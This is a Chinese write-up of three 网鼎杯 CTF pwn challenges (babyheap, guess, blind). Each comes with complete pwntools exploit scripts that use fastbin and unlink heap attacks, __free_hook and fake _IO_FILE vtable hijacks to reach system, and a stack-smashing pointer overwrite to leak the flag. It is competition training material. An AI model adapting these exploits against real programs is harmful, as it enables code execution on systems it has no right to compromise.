题目位置

https://gitee.com/hac425/blog_data/tree/master/wdb

babyheap

  • 通过分配和释放构建 2fastbin
  • 利用 show 功能, leak heap 的基地址
  • 然后可以在 heap 伪造 fastbin , 造成 overlap chunk
  • 修改 chunk size ,同时伪造 free chunk
  • unlink 攻击 , 可以控制 ptr_table
  • 然后通过 修改 edit_count 实现多次写
  • __free_hook 设置 system.
# !/usr/local/bin/python
# -*- coding:utf-8 -*-
from pwn import *
from time import sleep # context.log_level = "debug" elf = ELF("./babyheap")
elf.got['puts'] = 0x0601FA0 p = elf.process()
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") ptr_table = 0x00602060 def alloc(idx, content):
p.sendlineafter("Choice:", "1")
p.sendlineafter("Index:", str(idx))
p.sendafter("Content:", content)
sleep(0.1) def edit(idx, content):
p.sendlineafter("Choice:", "2")
p.sendlineafter("Index:", str(idx))
p.sendafter("Content:", content)
sleep(0.1) def show(idx):
p.sendlineafter("Choice:", "3")
p.sendlineafter("Index:", str(idx))
sleep(0.1) def free(idx):
p.sendlineafter("Choice:", "4")
p.sendlineafter("Index:", str(idx))
sleep(0.1) info("wait to attach: gdb --pid={}".format(p.proc.pid)) payload = "\x00" * 0x18
payload += p64(0x31) alloc(0, "sh\x00\n")
alloc(1, payload) # 用于伪造 fastbin
alloc(2, p64(0x21) * 4)
alloc(3, '\x21' * 0x20) free(2)
free(1) info("获取 fastbin 链表") show(1)
leak = p.recvuntil("\n")[:-1]
leak = u64(leak + "\x00" * (8 - len(leak)))
heap_base = leak - 0x60
info("heap_base: " + hex(heap_base)) edit(1, p64(heap_base + 0x50) + "\n")
info("修改fastbin 指针, 伪造 bin") payload = p64(0) + p64(0x21)
payload += p64(ptr_table - 0x18 + 0x8)
payload += p64(ptr_table - 0x10 + 0x8) alloc(4, "333\n")
alloc(5, p64(0x20) + p64(0x90) + "\n")
alloc(6, "sh\x00" + "\n")
alloc(7, "666" + "\n") free(4)
alloc(8, payload)
info("通过 free + new 实现 edit , 伪造 free chunk 用于 unlinnk") free(2) payload = "\x00" * 0x10
payload += p64(0x06020B0)
payload += p64(ptr_table)
edit(1, payload)
edit(0, p64(0) + "\n")
info("修改 ptr_table , 设置 edit 计数为 0") payload = p64(0x06020B0)
payload += p64(ptr_table)
payload += p64(elf.got['puts'])
payload += p64(ptr_table)
edit(1, payload)
edit(0, p64(0) + "\n") show(2)
leak = p.recvuntil("\n")[:-1]
leak = u64(leak + "\x00" * (8 - len(leak)))
libc.address = leak - libc.symbols['puts']
info("libc.address: " + hex(libc.address)) payload = p64(0x06020B0)
payload += p64(ptr_table)
payload += p64(elf.got['puts'])
payload += p64(libc.symbols['__free_hook'])
edit(1, payload)
edit(0, p64(0) + "\n") edit(3, p64(libc.symbols['system']) + "\n") free(6) p.interactive()

guess

栈底 会保存一个指针,在检测栈溢出时会打印, 于是通过覆盖指针 来 leak flag

#!/usr/local/bin/python
# -*- coding:utf-8 -*- from pwn import * # context.log_level = "debug"
elf_path = "/home/lsl/network_fuzz/netconf/GUESS"
libc_path = "./libc6_2.19-0ubuntu6.14_amd64.so" elf = ELF(elf_path)
libc = ELF(libc_path) def get_offset():
for i in range(0x80, 0x180):
p = elf.process()
p.recvuntil("flag\n") # 0x0400C90 You must have great six sense!!!! :-o
# 在 栈的底部有指针,当检测到栈溢出时会打印指针内容, 遍历设置看哪里可以覆盖到指针。
# 如果覆盖到 指针, 就会打印 0x128 *** stack smashing detected ***: You must have great six sense!!!! :-o terminated
p.sendline("1" * i + p64(0x0400C90))
p.recvline()
x = p.recvline()
p.close() # 找到偏移退出
if "six" in x:
print hex(i), x
exit(0) def leak_data(p, addr):
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(addr))
p.recvuntil("***: ") def leak_address(p, address):
leak_data(p, address)
leak = u64(p.recv(6) + "\x00" * 2)
return leak p = elf.process() # 先通过 puts 泄漏 libc
libc.address = leak_address(p, elf.got["puts"]) - libc.symbols['puts']
info("libc: " + hex(libc.address)) # 找到 environ 的地址,然后通过泄漏,拿到 environ 的值,这是一个 栈的地址
environ_address = libc.symbols['environ']
environ = leak_address(p, environ_address) info("get stack addr") # 根据 flag 在栈中的地址和 environ 的偏移,拿到 flag
flag_address = environ - 0x168
leak_data(p, flag_address)
print p.recvline()
p.close() get_offset()

blind

stdin, stdout, stderr 的地址会放到 bss 段, 其中的 0x7f 可以作为 fastbinsize 使用。

  • fastbin attack 分配到 bss
  • 修改 ptr 表,任意地址写
  • bss 段后面有一块很大的空间伪造 _IO_FILE_plus, 修改 vtableget_system 的函数 .
  • 修改 stdout 到 伪造的 _IO_FILE_plus
#!/usr/local/bin/python
# -*- coding:utf-8 -*-
from pwn import *
import struct context.log_level = "debug" elf = ELF("./blind")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# 大小为 0x70 的 fake chunk
fake_chunk = 0x60203d
ptr_table = 0x602060
stdin_address = 0x602030
stdout = 0x0602020 fake_io_file = 0x602098 - 0x10
vtable_address = fake_io_file + 224 call_system = 0x0004008E3 p = elf.process() _IO_USE_OLD_IO_FILE = False
_BITS = 64 def _u64(data):
return struct.unpack("<Q", data)[0] def _u32(data):
return struct.unpack("<I", data)[0] def _u16(data):
return struct.unpack("<H", data)[0] def _u8(data):
return ord(data) def _usz(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit() def _ua(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit() def _p64(data):
return struct.pack("<Q", data) def _p32(data):
return struct.pack("<I", data) def _p16(data):
return struct.pack("<H", data) def _p8(data):
return chr(data) def _psz(data):
if _BITS == 32:
return _p32(data)
elif _BITS == 64:
return _p64(data)
else:
print("[-] Invalid _BITS")
exit() def _pa(data):
if _BITS == 32:
return struct.pack("<I", data)
elif _BITS == 64:
return struct.pack("<Q", data)
else:
print("[-] Invalid _BITS")
exit() class _IO_FILE_plus:
def __init__(self):
self._flags = 0x00000000fbad2887 # High-order word is _IO_MAGIC; rest is flags.
self._IO_read_ptr = 0x602500 # Current read pointer
self._IO_read_end = 0x602500 # End of get area
self._IO_read_base = 0x602500 # Start of putback+get area
self._IO_write_base = 0x602600 # Start of put area
self._IO_write_ptr = 0x602600 # Current put pointer
self._IO_write_end = 0x602600 # End of put area
self._IO_buf_base = 0x602600 # Start of reserve area
self._IO_buf_end = 0x602601 # End of reserve area # The following fields are used to support backing up and undo.
self._IO_save_base = 0 # Pointer to start of non-current get area
self._IO_backup_base = 0 # Pointer to first valid character of backup area
self._IO_save_end = 0 # Pointer to end of non-current get area self._markers = 0
self._chain = 0 self._fileno = 0
self._flags2 = 0
self._old_offset = 0 # This used to be _offset but it's too small # 1+column number of pbase(); 0 is unknown
self._cur_column = 0
self._vtable_offset = 0
self._shortbuf = 0 self._lock = 0x602700 if not _IO_USE_OLD_IO_FILE:
self._offset = 0
self._codecvt = 0
self._wide_data = 0
self._freeres_list = 0
self._freeres_buf = 0
self.__pad5 = 0
self._mode = 0
self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
self.vtable = vtable_address def tostr(self):
buf = _p64(self._flags & 0xffffffff) + \
_pa(self._IO_read_ptr) + \
_pa(self._IO_read_end) + \
_pa(self._IO_read_base) + \
_pa(self._IO_write_base) + \
_pa(self._IO_write_ptr) + \
_pa(self._IO_write_end) + \
_pa(self._IO_buf_base) + \
_pa(self._IO_buf_end) + \
_pa(self._IO_save_base) + \
_pa(self._IO_backup_base) + \
_pa(self._IO_save_end) + \
_pa(self._markers) + \
_pa(self._chain) + \
_p32(self._fileno) + \
_p32(self._flags2) + \
_p64(self._old_offset) + \
_p16(self._cur_column) + \
_p8(self._vtable_offset) + \
_p8(self._shortbuf)
if _BITS == 64:
buf += _p32(0)
buf += _pa(self._lock)
if not _IO_USE_OLD_IO_FILE:
buf += \
_p64(self._offset) + \
_pa(self._codecvt) + \
_pa(self._wide_data) + \
_pa(self._freeres_list) + \
_pa(self._freeres_buf) + \
_psz(self.__pad5) + \
_p32(self._mode) + \
''.join(map(lambda x: _p8(x), self._unused2)) + \
_pa(self.vtable)
return buf def __str__(self):
return self.tostr() def new(index, content):
p.recvuntil("Choice:")
p.sendline('1')
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Content:")
p.sendline(content) def release(index):
p.recvuntil("Choice:")
p.sendline('3')
p.recvuntil("Index:")
p.sendline(str(index)) def change(index, content):
p.recvuntil("Choice:")
p.sendline('2')
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Content:")
p.send(content) s = _IO_FILE_plus().tostr()
print len(s) info("gdb --pid={}".format(p.proc.pid))
# pause() new(0, '111')
new(1, '222')
release(0)
info("获得一个 0x70 的 fastbin") change(0, p64(fake_chunk) + "\n")
info("利用 bss 上的 stderr 伪造 fastbin") new(2, '222')
new(3, '333')
info("分配两个 fastbin , 此时 chunk 3 为 bss") payload = "\x00" * 0x13
payload += p64(stdout) # 0
payload += p64(fake_io_file) # 1
payload += p64(fake_io_file + 0x68) # 2
payload += p64(fake_io_file + 0x68 * 2) # 3
payload += p64(vtable_address) # 4
change(3, payload + "\n") change(1, s[0:0x68])
change(2, s[0x68:0xd0])
change(3, s[0xd0:] + "\n")
info("伪造 fake IO_FILE") change(4, p64(call_system) * 13)
info("伪造 虚表")
pause() # p.sendline("2")
change(0, p64(fake_io_file) + '\n')
pause() p.interactive()

网鼎杯 pwn 记录的更多相关文章

  1. 刷题记录:[网鼎杯]Fakebook

    目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...

  2. 2020 网鼎杯wp

    2020 网鼎杯WP 又是划水的一天,就只做出来4题,欸,还是太菜,这里就记录一下做出的几题的解题记录 AreUSerialz 知识点:反序列化 打开链接直接给出源码 <?php include ...

  3. 网鼎杯2020 AreUSerialz

    0x00 前言 ...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓.其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹. 涉及知识点: 1.php中protected变量反 ...

  4. CTF-i春秋网鼎杯第四场部分writeup

    CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...

  5. CTF-i春秋网鼎杯第二场misc部分writeup

    CTF-i春秋网鼎杯第二场misc部分writeup 套娃 下载下来是六张图片 直接看并没有什么信息 一个一个查看属性 没有找到有用信息 到winhexv里看一下 都是标准的png图片,而且没有fla ...

  6. CTF-i春秋网鼎杯第一场misc部分writeup

    CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...

  7. 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup

    2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...

  8. [网鼎杯 2018]Comment

    [网鼎杯 2018]Comment 又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入. 因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的. [2 ...

  9. 网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件

    0x00知识点:SSRF SSRF (Server-side Request Forge, 服务端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外 ...

随机推荐

  1. 杭电OJ第11页2000-2009道题(C语言)

    1. ASCII码排序 问题描述 输入三个字符后,按各字符的ASCII码从小到大的顺序输出这三个字符 Input: 输入数据有多组,每组占一行,有三个字符组成,之间无空格 Output: 对于每组输入 ...

  2. Jasmine入门(下)

    上一篇 Jasmine入门(上) 介绍了Jasmine以及一些基本的用法,本篇我们继续研究Jasmine的其他一些特性及其用法(注:本篇中的例子均来自于官方文档). Spy Spy用来追踪函数的调用历 ...

  3. easyui 中iframe嵌套页面,提示弹窗遮罩的解决方法,parent.$.messager.alert和parent.$.messager.confirm

    项目中用到easyui 布局,用到north,west,center三个区域,且在center中间区域嵌入iframe标签.在主内容区做一些小提示弹窗(例如删除前的弹窗提示确认)时,会遇到遮罩问题,由 ...

  4. (转)修改及查看mysql数据库的字符集

    原文:http://www.cnblogs.com/donqiang/articles/2057972.html Liunx下修改MySQL字符集:1.查找MySQL的cnf文件的位置find / - ...

  5. EF基础知识小记一

    1.EF等ORM解决方案出现的原因 因为软件开发中分析和解决问题的方法已经接近成熟,然后关系型数据库却没有,很多年来,数据依然是保存在表行列这样的模式里,所以,在面相对象和高度标准化的数据库中产生了一 ...

  6. puppet的使用:puppet配置文件介绍

    配置文件的产生 Puppet安装完后,配置文件就产生了,名称为puppet.conf,一般在/etc/puppet路径下. master也可以通过命令: puppet master --genconf ...

  7. 搭建安卓开发环境 hello world andriod

    万事开头能嘛.先要搭建开发环境,主要用到java,会java的同学福音啊. 一 相关下载 1.Jdk.(java的开发环境).  http://www.oracle.com/technetwork/j ...

  8. Root-NFS: Unable to get mountd port number from server, using default

    问题描述: 以前下载到开发板linux内核启动好好地,今天突然启动不了了,到达Root-NFS: Unable to get mountd port number from server, using ...

  9. 安装freepbx后创建sip分机

    在前面的文章阿里云使用镜像安装freepbx里面我们已经使用镜像文件安装好了freepbx,接下来开始是开始创建SIP分机,实现可以拨打电话. 首先我们输入我们的IP可以直接访问到freepbx的界面 ...

  10. CSS Sprites(CSS精灵) 的优缺点

    CSS Sprites 的优点:     1.减少图片的字节     2.减少了网页的http请求,从而大大的提高了页面的性能     3.解决了网页设计师在图片命名上的困扰,只需对一张集合的图片上命 ...